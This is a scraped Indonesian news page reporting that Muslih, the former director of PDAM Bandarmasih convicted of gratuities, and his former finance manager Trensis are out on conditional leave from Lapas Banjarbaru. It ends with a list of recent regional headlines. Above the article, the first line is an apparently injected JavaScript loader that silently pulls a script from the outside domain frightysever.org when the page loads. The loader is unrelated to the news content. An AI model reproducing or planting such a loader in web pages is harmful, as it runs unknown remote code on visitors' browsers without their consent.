(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Hukum

Tinggalkan Tahanan, Mantan Dirut PDAM Bandarmasih Muslih Dapat Cuti Bersyarat


BANJARMASIN, Lama tak terdengar kabar saat menjalani masa hukuman terkait kasus suap, mantan Dirut PDAM Bandarmasih Muslih, Senin (15/10) terlihat sedang santai di rumahnya. Siang tadi, Muslih nampak riang menyambut tamu yang berkunjung ke rumahnya di RT 11 Kelurahan Antasan Kecil Timur Kecamatan Banjarmasin Tengah Kalsel. Apakah Muslih sudah bebas?

Muslih akhirnya bisa menghirup udara bebas setelah divonis bersalah oleh Hakim Ketua Sihar Hamonangan Purba lantaran kasus gratifikasi. Di Pengadilan Negeri Tipikor Banjarmasin tersebut pada Selasa (30/1) silam, ia mendapatkan hukuman 1 tahun 5 bulan oleh ketua hakim.

Muslih kepada awak media mengatakan, saat ini dirinya belum bebas murni. Kepulangannya tersebut lantaran mendapatkan cuti bersyarat oleh Lapas Banjarbaru. “Kalau dihitung sejak saya ditangkap, sebetulnya sudah setahun lebih. Putusan 17 bulan, saya menjalani hanya 13 bulan. Sedangkan sisanya empat bulan, itu cuti bersyarat,” katanya.

Dia juga mengaku dirinya akan tetap melakukan wajib lapor sesuai waktu yang ditentukan Kemenkum dan HAM ke Bapas Banjarmasin.

Selain Muslih, koleganya Trensis yang merupakan mantan Manager Keuangan PDAM Bandarmasih juga mendapatkan cuti bersyarat.

“Trensis berdasar putusan Pengadilan Negeri Tipikor Banjarmasin dihukum pidana selama satu tahun penjara. Jadi, berhak mendapat cuti bersyarat yang telah disetujui Kementerian Hukum dan HAM,” kata Kalapas Banjarbaru, Abdul Aziz.

Muslih dan Trensis dinyatakan terbukti bersalah dan terbukti bersalah dan meyakinkan secara sah melanggar Pasal 5 ayat (1) huruf a UU Nomor 31 Tahun 1999 jo UU Nomor 20 Tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi, jo Pasal 55 ayat (1) ke-1 KUHP.(rico)

Reporter: Rico
Editor: Chell

Desy Arfianty

Recent Posts

Jurnalisme Hijau di Era Digital: Membumikan Kompleksitas Isu Lingkungan Agar Tak Membosankan

KANALKALIMANTAN.COM, JAKARTA - Kompleksitas isu lingkungan kerap dianggap sulit untuk dikemas menjadi berita sederhana namun… Read More

14 jam ago

Masuk Masa Tenang, APK Paslon di Banjarbaru Dibersihkan

KANALKALIMANTAN.COM, BANJARBARU - Ratusan personel tim terpadu menertibkan Alat Peraga Kampanye (APK) sehari jelang masa… Read More

15 jam ago

Bawaslu Kalsel Segera Plenokan Dugaan Pelanggaran Paslon Syaifullah-Habib Ahmad

KANALKALIMANTAN.COM, BANJARMASIN - Laporan dugaan pelanggaran yang dilayangkan salah seorang warga terhadap Calon Bupati dan… Read More

15 jam ago

Deteksi Dini Kesehatan IVA Test dan Sadanis di Puskesmas Sungai Malang

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Ketua Tim Penggerak Pemberdayaan dan Kesejahteraan Keluarga (TP PKK) Kabupaten… Read More

16 jam ago

Uji Tanding 7 Cabor Bapor Korpri HSU Vs Bapor Korpri Paser

KANALKALIMANTAN.COM, AMUNTAI - Badan Pembinaan Olahraga (Bapor) Korps Pegawai Republik Indonesia (Korpri) Kabupaten Hulu Sungai… Read More

20 jam ago

Juara di Singapore Open Dance Championship 2024, Frem Harumkan Nama Indonesia

KANALKALIMANTAN.COM, JAKARTA - Seorang warga banua yang kini berkiprah di Jakarta, Muhammad Fremmuzar Aditya Putra… Read More

20 jam ago

This website uses cookies.